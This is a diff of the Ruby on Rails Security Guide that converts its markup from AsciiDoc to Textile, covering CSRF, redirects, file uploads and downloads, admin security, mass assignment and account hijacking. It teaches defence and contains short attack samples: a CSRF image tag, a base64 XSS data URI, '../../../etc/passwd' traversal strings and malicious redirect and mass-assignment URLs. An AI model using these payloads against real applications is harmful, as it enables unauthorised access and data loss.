+If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_.
 
-Another countermeasure is to [,#fffcdb]#save user-specific properties in the session#, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. [,#fffcdb]#These might change over the course of a session#, so these users  will not be able to use your application, or only in a limited way.
+Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users  will not be able to use your application, or only in a limited way.
 
-=== Session expiry
+h4. Session expiry
 
 -- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
 
-One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to [,#fffcdb]#expire sessions in a database table#. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.
+One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20m")+ to expire sessions that were used longer than 20 minutes ago.
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 class Session < ActiveRecord::Base
  def self.sweep(time_ago = nil)
 
    time = case time_ago
@@ -171,34 +163,35 @@ class Session < ActiveRecord::Base
 
    self.delete_all "updated_at < '#{time.to_s(:db)}'"
 
  end
 
end
-----------------------------------------------------------------------------
+
 
 The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
 
-[source, ruby]
-----------------------------------------------------------------------------
-self.delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"
-----------------------------------------------------------------------------
+
+self.delete_all "updated_at < '#{time.to_s(:db)}' OR
+  created_at < '#{2.days.ago.to_s(:db)}'"
+
+
+h3. Cross-Site Reference Forgery (CSRF)
 
-== Cross-Site Reference Forgery (CSRF)
 -- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._
 
-image::images/csrf.png[CSRF]
+!images/csrf.png!
 
-In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
+In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
 
-- Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
-- ++
-- Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
-- By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
-- The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
-- Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone.
+* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
+* +<img src="http://www.webapp.com/project/1/destroy">+
+* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
+* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
+* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
+* Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone.
 
 It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
 
-CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – [,#fffcdb]#CSRF is an important security issue#.
+CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_.
 
-=== CSRF Countermeasures
+h4. CSRF Countermeasures
 
 -- _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
 
@@ -206,28 +199,27 @@ The HTTP protocol basically provides two main types of requests - GET and POST (
 
 *Use GET if:*
 
-- The interaction is more [,#fffcdb]#like a question# (i.e., it is a safe operation such as a query, read operation, or lookup).
+* The interaction is more _(highlight)like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
 
 *Use POST if:*
 
-- The interaction is more [,#fffcdb]#like an order#, or
-- The interaction [,#fffcdb]#changes the state# of the resource in a way that the user would perceive (e.g., a subscription to a service), or
-- The user is [,#fffcdb]#held accountable for the results# of the interaction.
+* The interaction is more _(highlight)like an order_, or
+* The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
+* The user is _(highlight)held accountable for the results_ of the interaction.
 
 If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier.
 
-[,#fffcdb]#The verify method in a controller can make sure that specific actions may not be used over GET#. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.
+_(highlight)The verify method in a controller can make sure that specific actions may not be used over GET_. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.
 
-.................................................................................
+
 verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}
-.................................................................................
+

 
 With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.
 
-But this was only the first step, because [,#fffcdb]#POST requests can be send automatically, too#. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
+But this was only the first step, because _(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
 
-[source, html]
-----------------------------------------------------------------------------
+
 To the harmless survey
-----------------------------------------------------------------------------
+
 
 Or the attacker places the code into the onmouseover event handler of an image:
 
-++
+
+
+
 
-There are many other possibilities, including Ajax to attack the victim in the background.
The  [,#fffcdb]#solution to this is including a security token in non-GET requests# which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
+There are many other possibilities, including Ajax to attack the victim in the background.
The  _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
 
-+protect_from_forgery :secret => "123456789012345678901234567890..."+
+
+protect_from_forgery :secret => "123456789012345678901234567890..."
+
 
 This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected.
 
-Note that [,#fffcdb]#cross-site scripting (XSS) vulnerabilities bypass all CSRF protections#. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.
+Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.
 
-== Redirection and Files
+h3. Redirection and Files
 
 Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
 
-=== Redirection
+h4. Redirection
 
 -- _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
 
 Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 def legacy
   redirect_to(params.update(:action=>'main'))
 end
-----------------------------------------------------------------------------
+
 
 This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
 
-+http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com+
+
+http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
+

 
-If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to [,#fffcdb]#include only the expected parameters in a legacy action# (again a whitelist approach, as opposed to removing unexpected parameters). [,#fffcdb]#And if you redirect to an URL, check it with a whitelist or a regular expression#.
+If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
 
-==== Self-contained XSS
+h5. Self-contained XSS
 
 Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
 
 +data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+
 
-This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, [,#fffcdb]#do not allow the user to supply (parts of) the URL to be redirected to#.
+This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_.
 
-=== File uploads
+h4. File uploads
 
 -- _Make sure file uploads don't overwrite important files, and process media files asynchronously._
 
-Many web applications allow users to upload files. [,#fffcdb]#File names, which the user may choose (partly), should always be filtered# as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
+Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
 
-When filtering user input file names, [,#fffcdb]#don't try to remove malicious parts#. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which [,#fffcdb]#checks for the validity of a file name with a set of accepted characters#. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the http://github.com/technoweenie/attachment_fu/tree/master[attachment_fu plugin]:
+When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":http://github.com/technoweenie/attachment_fu/tree/master:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 def sanitize_filename(filename)
   returning filename.strip do |name|
     # NOTE: File.basename doesn't work right with Windows paths on Unix
@@ -301,161 +297,153 @@ def sanitize_filename(filename)
     name.gsub! /[^\w\.\-]/, '_'
   end
 end
-----------------------------------------------------------------------------
+
 
-A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its [,#fffcdb]#vulnerability to denial-of-service attacks#. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
 
-The solution to this, is best to [,#fffcdb]#process media files asynchronously#: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
+The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
 
-=== Executable code in file uploads
+h4. Executable code in file uploads
 
--- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory._
+-- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
 
 The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.
 
-[,#fffcdb]#If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it#, store files at least one level downwards.
+_(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
 
-=== File downloads
+h4. File downloads
 
 -- _Make sure users cannot download arbitrary files._
 
 Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 send_file('/var/www/uploads/' + params[:filename])
-----------------------------------------------------------------------------
+
 
-Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to [,#fffcdb]#check that the requested file is in the expected directory#:
+Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
 filename = File.expand_path(File.join(basename, @file.public_filename))
 raise if basename =!
      File.expand_path(File.join(File.dirname(filename), '../../../'))
 send_file filename, :disposition => 'inline'
-----------------------------------------------------------------------------
+
 
 Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
 
-== Intranet and Admin security
+h3. Intranet and Admin security
 
 -- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._
 
-In 2007 there was the first tailor-made http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html[Trojan] which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

+In 2007 there was the first tailor-made "Trojan":http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

 
 *XSS*  If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
 
-Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
+Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
 
-Refer to the Injection section for countermeasures against XSS. It is [,#fffcdb]#recommended to use the SafeErb plugin# also in an Intranet or administration interface.
+Refer to the Injection section for countermeasures against XSS. It is _(highlight)recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
 
-*CSRF*  Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+*CSRF*  Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
 
-A real-world example is a http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html[router reconfiguration by CSRF]. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
+A real-world example is a "router reconfiguration by CSRF":http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
 
-Another example changed Google Adsense's e-mail address and password by http://www.0x000000.com/index.php?i=213&bin=11010101[CSRF]. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

+Another example changed Google Adsense's e-mail address and password by "CSRF":http://www.0x000000.com/index.php?i=213&bin=11010101. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

 
 Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
 
-For [,#fffcdb]#countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section#.
+For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
 
-=== Additional precautions
+h4. Additional precautions
 
 The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
 
-- It is very important to [,#fffcdb]#think about the worst case#: What if someone really got hold of my cookie or user credentials. You could [,#fffcdb]#introduce roles# for the admin interface to limit the possibilities of the attacker. Or how about [,#fffcdb]#special login credentials# for the admin interface, other than the ones used for the public part of the application. Or a [,#fffcdb]#special password for very serious actions#?
+* It is very important to _(highlight)think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _(highlight)introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _(highlight)special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _(highlight)special password for very serious actions_?
 
-- Does the admin really have to access the interface from everywhere in the world? Think about [,#fffcdb]#limiting the login to a bunch of source IP addresses#. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+* Does the admin really have to access the interface from everywhere in the world? Think about _(highlight)limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
 
-- [,#fffcdb]#Put the admin interface to a special sub-domain# such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+* _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
 
-== Mass assignment
+h3. Mass assignment
 
 -- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._
 
-The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method:
+The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's +new()+ method:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 def signup
   params[:user] #=> {:name => “ow3ned”, :admin => true}
   @user = User.new(params[:user])
 end
-----------------------------------------------------------------------------
+
 
 Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
 
-..........
-http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
-..........
+
+"name":http://www.example.com/user/signup?user=ow3ned&user[admin]=1
+

 
 This will set the following parameters in the controller:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 params[:user] #=> {:name => “ow3ned”, :admin => true}
-----------------------------------------------------------------------------
+
 
 So if you create a new user using mass-assignment, it may be too easy to become an administrator.
 
-=== Countermeasures
+h4. Countermeasures
 
 To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 attr_protected :admin
-----------------------------------------------------------------------------
+
 
-A much better way, because it follows the whitelist-principle, is the [,#fffcdb]#attr_accessible method#. It is the exact opposite of attr_protected, because [,#fffcdb]#it takes a list of attributes that will be accessible#. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
+A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of attr_protected, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 attr_accessible :name
-----------------------------------------------------------------------------
+
 
 If you want to set a protected attribute, you will to have to assign it individually:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 params[:user] #=> {:name => "ow3ned", :admin => true}
 @user = User.new(params[:user])
 @user.admin #=> false # not mass-assigned
 @user.admin = true
 @user.admin #=> true
-----------------------------------------------------------------------------
+
 
-== User management
+h3. User management
 
 -- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
 
-There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is [,#fffcdb]#restful_authentication# which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.
+There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is +restful_authentication+ which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.
 
 Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
 
-..........
+
 http://localhost:3006/user/activate
 http://localhost:3006/user/activate?id=
-..........
+

 
 This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 User.find_by_activation_code(params[:id])
-----------------------------------------------------------------------------
+
 
 If the parameter was nil, the resulting SQL query will be
 
-..........
-SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1
-..........
+
+SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
+

 
-And thus it found the first user in the database, returned it and logged him in. You can find out more about it in http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/[my blog post]. [,#fffcdb]#It is advisable to update your plug-ins from time to time#. Moreover, you can review your application to find more flaws like this.
+And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
 
-=== Brute-forcing accounts
+h4. Brute-forcing accounts
 
 -- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
 
@@ -465,29 +453,29 @@ Because of this, most web applications will display a generic error message “u
 
 However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
 
-In order to mitigate such attacks, [,#fffcdb]#display a generic error message on forgot-password pages, too#. Moreover, you can [,#fffcdb]#require to enter a CAPTCHA after a number of failed logins from a certain IP address#. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
+In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
 
-=== Account hijacking
+h4. Account hijacking
 
 -- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_
 
-==== Passwords
+h5. Passwords
 
-Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, [,#fffcdb]#make change-password forms safe against CSRF#, of course. And [,#fffcdb]#require the user to enter the old password when changing it#.
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_.
 
-==== E-Mail
+h5. E-Mail
 
-However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure [,#fffcdb]#require the user to enter the password when changing the e-mail address, too#.
+However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_.
 
-==== Other
+h5. Other
 
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/[Google Mail]. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, [,#fffcdb]#review your application logic and eliminate all XSS and CSRF vulnerabilities#.
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_.
 
-=== CAPTCHAs
+h4. CAPTCHAs
 
 -- _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot._
 
-But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is http://recaptcha.net/[reCAPTCHA] which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. http://ambethia.com/recaptcha/[ReCAPTCHA] is also a Rails plug-in with the same name as the API.
+But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is "reCAPTCHA":http://recaptcha.net/ which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. "ReCAPTCHA":http://ambethia.com/recaptcha/ is also a Rails plug-in with the same name as the API.
 
 You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
 The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
@@ -496,458 +484,450 @@ Most bots are really dumb, they crawl the web and put their spam into every form
 
 Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
 
-- position the fields off of the visible area of the page
-- make the elements very small or colour them the same as the background of the page
